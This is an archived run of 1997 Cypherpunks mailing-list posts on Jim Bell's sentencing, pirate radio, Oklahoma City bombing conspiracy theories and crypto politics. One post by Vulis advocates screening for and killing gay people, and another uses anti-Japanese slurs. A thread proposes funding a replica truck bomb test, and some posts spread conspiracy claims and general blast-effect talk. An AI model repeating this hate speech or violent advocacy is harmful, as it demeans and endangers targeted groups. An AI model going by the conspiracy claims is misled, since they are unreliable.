> Authorities say Choates used his equipment to broadcast anti-government
> messages.

It's 'Choate'.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 23 Nov 1997 01:42:39 +0800
To: Eric Cordian <cypherpunks@cyberpass.net
Subject: Re: Scientology war update
In-Reply-To: <aca0fceb47%Tim@tim01.ex.ac.uk>
Message-ID: <3.0.3.32.19971122081214.006bfa8c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 12:50 AM 11/22/97 -0600, Eric Cordian wrote:
>There was a hilarious parody of Scientology on tonight's episode
>of "Millenium."  A Cult named "Selfosophy," created by a really bad
>writer named Onan Goopta, with a propensity to sue everyone, was
>featured.  It had a large celebrity membership, and helped people
>overcome negative thoughts with a device called an "Onan-o-Graph."

Onan is commonly (albeit incorrectly) credited with the invention of
masturbation.  (See Genesis 38:6-10 in the Bible)  I wonder what sort of
thoughts the Onan-o-graph induces? [snicker, snicker]
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

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bimSixl1AFufm4qpvd8yxSEy
=mvDw
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 22 Nov 1997 22:25:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: A Challenge to the Violent and Depraved / Re: [cpe:5035] Violence and Depravity (fwd)
Message-ID: <199711221416.IAA01754@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 21 Nov 1997 23:18:52 -0600
> From: TruthMonger <tm@dev.null>
> Subject: A Challenge to the Violent and Depraved / Re: [cpe:5035] Violence and Depravity

> A Challenge: If every naysayer/conspiracy theorist whose diatribes
>   I have read (a small percentage of the total number) would kick
>   in a couple of bucks, then there would be funds available to
>   build a truck-bomb corresponding to the alleged OKC bomb, and
>   to recreate the alleged crime with an abandoned building that
>   can be found to provide a similar physical target.
>   We're talking about a few grand, here. Put up or shut up. Anyone
>   who cares to take on the challenge can cover that on T-shirt
>   sales alone.
>   If the re-enactment shows the truck bomb to have been a provably
>   false scenario, it would be interesting to see a second display
>   with BATF actors putting explosive charges in the middle of the
>   building. (And then we can crash a Mercedes into the underground
>   concrete pillars in Paris, to guage the results.)

Black Rock, Nevada would be a perfect place for the test. Many of the
high-performance and experimental rocketry groups I am involved in test
their birds there. 10 miles in pretty much any direction of nothing...

Also, why not simply begin to systematicaly approach each source of
materials and ask for donations for a single run test. I am shure there are
suppliers out there who would be sympathetic.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 22 Nov 1997 22:16:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Tampa Pirate Radio Stations Silenced (fwd)
Message-ID: <199711221419.IAA01802@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Tampa Pirate Radio Stations Silenced
> Date: Fri, 21 Nov 1997 23:12:17 -0600 (CST)
> From: ichudov@algebra.com (Igor Chudov @ home)

>           Florida State News
> 
>           Reuters
>           20-NOV-97
> 
>           (TAMPA) -- Federal marshals and local deputies have shut down
>           three Tampa area ``pirate'' radio stations, silencing unlicensed
>           sources of rock music and far-right ideology. Authorities carted

Anyone know of a pirate broadcast station where CDR traffic could be
re-broadcast? Filter the days traffic and use speech-synth to make it
compatible.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 22 Nov 1997 22:28:24 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <v0310280cb09c1b3bec4b@[207.167.93.63]>
Message-ID: <199711221419.IAA03664@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> At 11:03 PM -0700 11/21/97, Greg Broiles wrote:
> >I'm starting to favor the explanation which suggests that Jim will be
> >testifying at the trial(s) or before grand juries in other matters - and
> >that his sentencing is postponed to ensure his cooperation, and that the
> >defense isn't squealing about the successive postponements because that's
> >seen as more favorable than receiving a sentence of many, many months in
> >the event of noncooperation. I'm reluctant to finger anyone as a "snitch"
> 
> This is what I fear, too.
> 
> I now regret any "help" I provided him in adding crypto and digital cash to
> his plans. (When I first came into contact with him, he had utterly zero
> knowledge of how crypto worked, and how it could ultimately be used. His
> "wonderful idea" was cheesy, built on nothing but hot air. But once certain
> ideas were explained to him, his system became actually workable, albeit
> not actually extant.)

I wish I provided Jim Bell with assistance. Jim Bell is cool.

Aside from all that, expecting a person NOT to break in the hands
of skilled mind-breakers is unreasonable.

90% of us would break. The worst thing to prisoners is hope.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 22 Nov 1997 22:26:09 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: NEW TRAVEL INFO -- Worldwide Caution (fwd)
Message-ID: <199711221421.IAA01851@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-travel-advisories@stolaf.edu Sat Nov 22 03:18:55 1997
Date: Wed, 19 Nov 1997 12:46:22 -0500
From: owner-travel-advisories <owner-travel-advisories@stolaf.edu>
Subject: NEW TRAVEL INFO -- Worldwide Caution
Sender: Wally Doerge <76702.1202@compuserve.com>
To: travel-advisories@stolaf.edu
Message-ID: <199711191249_MC2-28C9-9FC6@compuserve.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Precedence: bulk

STATE DEPARTMENT TRAVEL INFORMATION - Worldwide Caution
============================================================
Worldwide Caution - Public Announcement
 November 19, 1997

U.S. DEPARTMENT OF STATE
Office of the Spokesman


In light of events unfolding throughout the world, U.S. citizens 
traveling or residing abroad are advised to exercise greater than 
usual caution.  Recently there have been numerous incidents and 
developments that have the cumulative potential of impacting the 
security of U.S. citizens, businesses and military interests abroad, 
including the recent convictions of Mir Aimal Kasi and Ramzi Yousef, 
the murders of four businessmen in Karachi, Pakistan, the terrorist 
attack on tourists in Luxor, Egypt, and the general situation in the 
Middle East.

While at this time we know of no specific threats to U.S. citizens 
or interests overseas in relation to the above incidents, we cannot 
discount the possibility of random acts of anti-American violence, 
such as drive-by shootings, kidnappings, or bombings.  U.S. 
diplomatic posts worldwide are taking appropriate security 
precautions.  U.S. citizens planning to travel abroad should consult 
the Department of State's country-specific Public Announcements, 
Travel Warnings, Consular Information Sheets and regional travel 
brochures, and refer to the Department's advisories on security 
awareness overseas.  American citizens residing or traveling abroad 
are encouraged to contact the nearest U.S. embassy or consulate for 
up-to-date information on security conditions.

This Public Announcement expires December 18, 1997.

----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- ----- -----
The "travel-advisories@stolaf.edu" mailing list is the official Internet and
BITNET distribution point for the U.S. State Department Travel Warnings and
Consular Information Sheets.  To unsubscribe, send a message containing the
word "unsubscribe" to:	travel-advisories-request@stolaf.edu

Archives of past "travel-advisories" postings are available at the URL:
"http://www.stolaf.edu/network/travel-advisories.html" or via Gopher:
gopher.stolaf.edu, Internet Resources/US-State-Department-Travel-Advisories





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 22 Nov 1997 22:59:31 +0800
To: ichudov@Algebra.COM
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <199711220508.XAA12104@manifold.algebra.com>
Message-ID: <Chameleon.880205874.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain




so saith ichudov@algebra.com ...

> Looks like Jim has been sentenced to 10 years without the right
> to correspondence.
> 
> To those who do not understand the cultural connotations of this 
> phrase, I will explain. During Stalin's purges around 1937, a lot of
> people were arrested and nothing could be found out about them -- 
> not even when they were held. Their relatives were later notified that
> the prisoners were sentenced to 10 years without the right to
> correspondence.

the parallels between modern america and just about an other totalitarian 
regime to date are hitting frighteningly close to home. 

I remember when I was told about the horrors of the nazi and russian 
children turning their parents in for whatever the state considered to not 
be proper. now we have D.A.R.E. 

i doubt such things are mentioned in public schools anymore.

> 
> That was an euphemism for being executed.
> 
> I would not be surprized if Jim committed a "suicide". With the advance
> of modern psychology and psychotropic drugs, that could even be a true
> suicide, done without physical assistance of Jim's captors.

you mean he would be fosterized?


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 11/22/97
Time: 08:33:20
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 22 Nov 1997 22:59:44 +0800
To: amp@pobox.com
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <Chameleon.880205874.amp@ampugh.mcit.com>
Message-ID: <199711221444.IAA03943@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



amp@pobox.com wrote:
> the parallels between modern america and just about an other totalitarian 
> regime to date are hitting frighteningly close to home. 
> 
> I remember when I was told about the horrors of the nazi and russian 
> children turning their parents in for whatever the state considered to not 
> be proper. now we have D.A.R.E. 

You know, I have been thinking about it for a long time.

My conclusion was that the government was not truly totalitarian in the
strict sense of this world.

It is the people's minds that turn more and more to totalitarianism,
submissiveness, blind belief to what they are told, and so on.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 23 Nov 1997 01:28:21 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <3.0.5.32.19971121220306.00a5e580@mail.io.com>
Message-ID: <3.0.3.32.19971122084918.006b94ac@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 10:23 PM 11/21/97 -0700, Tim May wrote:
>I now regret any "help" I provided him in adding crypto and digital cash
to
>his plans. (When I first came into contact with him, he had utterly zero
>knowledge of how crypto worked, and how it could ultimately be used. His
>"wonderful idea" was cheesy, built on nothing but hot air. But once
certain
>ideas were explained to him, his system became actually workable, albeit
>not actually extant.)
>
>I expect an arrest of several of us, on typically trumped-up RICO-type
>charges.  Mere speech has become criminalized, through vague, speculative,
>conspiracy charges.

I wonder if Jim remembers the e-mail I sent him requesting a complete
description of his AP scheme, and if "they" have me on a list of people to
be watched or something because of that.  I can't seem to find his reply,
though--I think I may have deleted it when I uninstalled an ancient mail
program about a year ago.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNHcNC8JF0kXqpw3MEQKG4ACgqocnzb3DtMWMlEIyca343byt0EoAn3zb
G/EOjOfZS+6FB3H6AKQig8W2
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Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 23 Nov 1997 01:31:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <IICCMMMMBJBCCAAA@mailexcite.com>
Message-ID: <3.0.3.32.19971122090948.006bc3b8@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

The following message was posted encrypted to a public/private keypair that
was posted to the list a few days ago.  For those on the list without PGP
here is the plaintext version:

To: cypherpunks@cyberpass.net
Date: 	Fri, 21 Nov 1997 21:14:39 -0700
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
X-Sent-Mail: off
X-Mailer: MailCity Service
Subject: Re: Br'er Tim and the Bug Hole
X-Sender-Ip: 207.94.108.51
Organization: MailExcite  (http://www.mailexcite.com)
Sender: owner-cypherpunks@cyberpass.net
Reply-To: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
X-Loop: cypherpunks@cyberpass.net

At 08:06 PM 11/21/97 -0700, Tim May wrote:
>I am still hopeful, longterm, but we may have to go through some dark,
>ugly, periods of war. And in this war, we know who the enemy is.

We in the U.S. are approximately where Germany was in the mid-1930's.  The
Holocaust did not start with anti-Semitic genocide; it started with
abortion.  After abortion became popular, infanticide, euthanasia and
assisted suicide were introduced.  (This is where the U.S. is at; witness
Jack Kevorkian and partial-birth infanticide.)  Once these became popular,
they began to become mandatory for individuals that were or were likely to
become a burden to the state.  After that, expanding the focus to include
Jews, Communists, Gypsies, and other groups on Hitler's shit list was a
trivial exercise.  I believe that the same process that happened in Germany
is at work in the U.S.; it is just progressing at a slower rate.

If there is another civil war in the U.S., I believe that the U.N. will
become involved.  I have been hearing stories of Russian soldiers escorting
trespassers out of the U.N. biosphere zones of various national parks for
several years now.  American soldiers may have pangs of conscience when
ordered to fire on fellow Americans, but Russian or Chinese soldiers most
likely wouldn't.  Perhaps acquiring East Bloc weapons isn't such a bad idea
after all if you can steal compatible equipment from the enemy...


>-----BEGIN PGP MESSAGE-----
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Version: PGP for Business Security 5.5

iQA/AwUBNHcR28JF0kXqpw3MEQLAbACeOULGTCneQINzdpbgZfyyUJLYU7kAoIsQ
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=5mNs
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sat, 22 Nov 1997 22:28:13 +0800
To: cypherpunks@Algebra.COM
Subject: Lewis & Clark liked dogs too [was Re: Alternative Apology]
In-Reply-To: <4c629215684c4169e873ce69a68c218d@anon.efga.org>
Message-ID: <Pine.GSO.3.95.971122091625.5768B-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain



According to _From Sea to Shining Sea_, by J. Thom, famous American
explorers William Clark and George Lewis provisioned their trip across the
continent with dog meat.  They even traded with the indians in the
northwest  for dogs so they wouldn't have to eat those yucky salmon.

bd

On Fri, 21 Nov 1997, Anonymous wrote:

> igor said:
> 
> >I am sorry for the recent interruption of the cypherpunks mailing list.
> >The dog ate my computer. Then Joichi Ito ate my dog.
> >
> >Igor
> 
> Igor, Japanese dont eat dog, that is the Koreans and Vietnamese.
> 
> doormouse
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 23 Nov 1997 01:44:51 +0800
To: Jonathan Wienke <cypherpunks@Algebra.COM
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <v0310280cb09c1b3bec4b@[207.167.93.63]>
Message-ID: <v0310280eb09cb9b12720@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:49 AM -0700 11/22/97, Jonathan Wienke wrote:

>I wonder if Jim remembers the e-mail I sent him requesting a complete
>description of his AP scheme, and if "they" have me on a list of people to
>be watched or something because of that.  I can't seem to find his reply,
>though--I think I may have deleted it when I uninstalled an ancient mail
>program about a year ago.

Sounds like destruction of evidence to me....

Maybe if you turn state's evidence now, like Fortier did, you won't be
charged in the main "assassination politics" indictment. In fact, if you
can get list members to elaborate in more detail on how untraceable murder
markets work, with some stuff about digital cash thrown in, I expect you
might even get _paid_ as an informant.

The several-times delayed sentencing, with no protests from Bell's
court-appointed lawyer, tells me the Feds are trying to get some final
details lined up.

And they wonder why some people are holding their own trials of these
criminals?


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sun, 23 Nov 1997 04:51:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tampa Pirate Radio Stations Silenced
Message-ID: <Rt3gkVQgr0m4TyZz8swn7w==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:

> Authorities say Kobres used his equipment to broadcast anti-government
> messages.
> Authorities say Kobres used his equipment to broadcast anti-government
> messages.
> Authorities say CypherPunks used their equipment to broadcast
> anti-government messages.
> Authorities say CypherPunks used their equipment to broadcast
> anti-government messages.
> Authorities say Chudov used his equipment to broadcast anti-government
> messages.
> Authorities say Choates used his equipment to broadcast anti-government
> messages.
> Authorities say Cottrel used his equipment to broadcast anti-government
> messages.
> Authorities say Young used his equipment to broadcast anti-government
> messages.
> Authorities say blanc used her equipment to broadcast anti-government
> messages.
> Authorities say amp used his equipment to broadcast anti-government
> messages.
> Authorities say Schear used his equipment to broadcast anti-government
> messages.
> Authorities say Burnes used his equipment to broadcast anti-government
> messages.
> Authorities say Ito used his equipment to broadcast anti-government
> messages.
> Authorities say Vulis used his equipment to broadcast anti-government
> messages.
> Authorities say Wienke used his equipment to broadcast anti-government
> messages.
> Authorities say Galt used his equipment to broadcast anti-government
> messages.
> ...
> Authorities say Kobres used his equipment to broadcast anti-government
> messages.

  Computer for sale.
  Cheap!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sun, 23 Nov 1997 05:01:02 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <xK8V2LxCxqYPzBZDlLDc9w==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




doormouse said:

>igor said:
>
>>I am sorry for the recent interruption of the cypherpunks mailing list.
>>The dog ate my computer. Then Joichi Ito ate my dog.
>>
>>Igor
>
>Igor, Japanese dont eat dog, that is the Koreans and Vietnamese.
>
>doormouse

Perhaps they picked up the taste while they were occupying those countries
in their Fascist efforts for conquest.

DogMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sun, 23 Nov 1997 04:56:51 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell's Sentencing Delayed Again
Message-ID: <0XLSufFhzVR/qyr+hQQZcg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 11:03 PM -0700 11/21/97, Greg Broiles wrote:
> >I'm starting to favor the explanation which suggests that Jim will be
> >testifying at the trial(s) or before grand juries in other matters - and
> >that his sentencing is postponed to ensure his cooperation, and that the
> >defense isn't squealing about the successive postponements because that's
> >seen as more favorable than receiving a sentence of many, many months in
> >the event of noncooperation. I'm reluctant to finger anyone as a "snitch"

> I expect an arrest of several of us, on typically trumped-up RICO-type
> charges.  Mere speech has become criminalized, through vague, speculative,
> conspiracy charges.

Unreliable sources indicate that the authorities are waiting for a
Canadian citizen to make a previously postponed trip across the
American border before closing the net.
Do your Christmas shopping early!

A. Fiend 
    ^r






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 23 Nov 1997 00:08:26 +0800
To: cypherpunks@cyberpass.net
Subject: A Challenge to the Violent and Depraved
Message-ID: <50eddb2836de53dcf2eacd843d752fcf@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



> Anyone with even a cursory knowledge of explosives will tell you
> that two tons of ammonium nitrate, sixty feet from the base
> of a tall, reinforced concrete and steel building, will not do 
> very much more than break lots of windows.  You see, ammonium 
> nitrate is a low velocity explosive compound useful for moving 
> dirt.  A brissance, or shattering effect, on steel and/or 
> reinforced concrete requires an explosive compound with much 
> greater explosive velocity.... C-4, several types of commercial
> blasting gelatin, even TNT.

Speed may be important for efficiency, but don't discount brute force.
A sufficiently powerful bulldozer moving at .1 mph could knock down
those exposed support columns out front.  Likewise a sufficiently strong
ammonium nitrate blast can do it.  Once the columns fall, the whole
front of the building will collapse.

Columns like this are built to withstand compressive force from above.
Strength against side impact is not the principle design goal.

> If you observed the news footage of the Murray Federal Building 
> after the blast, you may have noticed that the damage was 
> configured in a semi-cylindrical fashion, rather than the conic 
> section which would have resulted from a ground placed charge of 
> sufficient strength.

A semi-cylinder IS a conic section.  What you may have meant is that
the blast should have carved out a spherical section of the building.
But of course, once the lower floors are destroyed, the upper floors
collapse.  So a roughly cylindrical section is exactly what you would
expect.

> Consider that the placement of the array of charges necessary to
> simultaneously shatter several dozen large bearing members in the
> building would have required several hours for a well trained
> demolition team, not to mention unlimited access to the building 
> after hours.

And you're saying the government did this, when nobody was looking.

> Seismographs recorded TWO impacts that day, several minutes apart.

This is total bullshit.  This fact alone shows that the poster hasn't
done his research.  Besides, it doesn't make sense.  What was supposed
to be the purpose of the two blasts?  What was supposed to be happening
during the "several minutes" between the two blasts?  Wouldn't you think
people would get out of the building after the first blast?  Why didn't
any of the survivors report two blasts?

What this is, is a garbling of a report of a nearby seismometer showing
two ground waves a few SECONDS apart.  This can be explained by the
building taking a few seconds to collapse.  It could be a seismological
artifact as well, an echo from a deeper rock stratum.  You'd need to get
an expert seismologist to analyze the trace.  A real expert, not the bogus
"explosives expert" who supposedly wrote this.

> 6)  McVeigh pulled an Oswald.  Quit crediting him with success.

The idea that McVeigh is intentionally taking the fall for this is a
real reach.  First, where is his reward?  He's going to spend the rest
of his life in prison.  What is his motivation for not talking, and for
getting involved in this in the first place?

Also, much testimony has established that McVeigh was deeply affected
by the Waco killings, as were many of us.  Such a person would not have
wanted to cooperate with the government.  You have to assume that he was
just pretending to be upset by Waco, that this conspiracy goes back for
years.

Now you've got Nichols involved, and he has to be convinced not to
reveal the truth, either.  Fortier was involved in the planning, as
was his wife.  It's a totally unmanageable situation.  At least with
the Oswald story, they killed the guy who could have spilled the beans.
With McVeigh, he or his buddies could talk at any time.

It's all speculation built upon improbability.  Anybody who believes this
stuff is an idiot.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 01:56:24 +0800
To: cypherpunks@toad.com
Subject: Re: And made to write bad checks...
In-Reply-To: <34762EE0.4187@dev.null>
Message-ID: <yuVkge37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Spin Doctor <sd@dev.null> writes:

> * In August the Johor Baru Religious Affairs Department in
> Malaysia announced that convicted sexual "deviants" would, in
> addition to serving prison time as punishment, be bound and
> whipped.

But woudn't some of them enjoy it?

Anyway, I'm aways glad to see a country take up arms against faggots.
Didn't somebody report discovering a strong correlation between homosexuality
and some anatomical brain abnormality? If it's easy to detect, homos can be
identified and killed early in life. Perhaps even foetuses can be screened
for the telltale homosexual abnormalities in the brain and aborted.

See http://www.godhatesfags.com for more details.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>gt@twics.com (Gohsuke Takama)
Date: Sun, 23 Nov 1997 04:58:39 +0800
To: cypherpunks@toad.com
Subject: [Fwd: [cpj:265] COS][cpj:265] COS
Message-ID: <34774099.4F5E@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822



Have you heard of a Mac compatible OS called "COS" from Omega in East Germany? 
I just found an article about it in Japanese Mac mag and that says Omega
announced the OS 11/13 at German MacWorldExpo. 

And actually "COS" stands for " Crypt OS", their blurb on the website says:  

              Are you looking for full Mac OS 8 compatibility that
              includes all of its features, but that also has the added
              advantage of genuine B2-Security plus an integrated
              PGP-compatible Mail Client? 

              Do you want to be able to finally work really fast and to use
              preemptive multi-tasking? 

etc....

http://www.omega.de/english/Texte/JANUS.HTM

There's an interview with Omega's president in the article saying the OS
runs on 030, 040 & PowerPC without MacROM inside. So bunch of Mac clones
and CHRP mother boards from Taiwan etc may find a way.... 

gt








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 01:55:34 +0800
To: cypherpunks@toad.com
Subject: Re: Nonookie Masturbatshi beats Dimitri's time with the 'babes'...
In-Reply-To: <34762B94.6BF@dev.null>
Message-ID: <3yVkge39w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger <tm@dev.null> writes:

> * Several news organizations reported in March and April on
> Japanese men's increasing sexual fascination with high school and
> junior-high school girls.  One expert interviewed by the New
> York Times, Hiroyuki Fukuda, 30, editor of a magazine whose
> title can be translated Anatomical Illustrations of Junior High
> School Girls, said, "The age at which the girls seem interesting is
> clearly dropping.  But it's only the maniacs who go for girls
> below the third grade."

The reputed Jap pedophile Hoichi "no clypto fo fo politically incollect
lacist holsemen" Ito must have an impressive collection of JPEG pornographic
pictures of underage Jap girls.  Yes, the Japs are happy to export child
porn, but not clypto. Why do your countrymen find one more irregar than the
other, Ito-san? The same reputed pedophile Ito also advocated allowing
gubmints to outlaw the possession and manufactyure of certain chemicals
and plants - what an asshole.

---

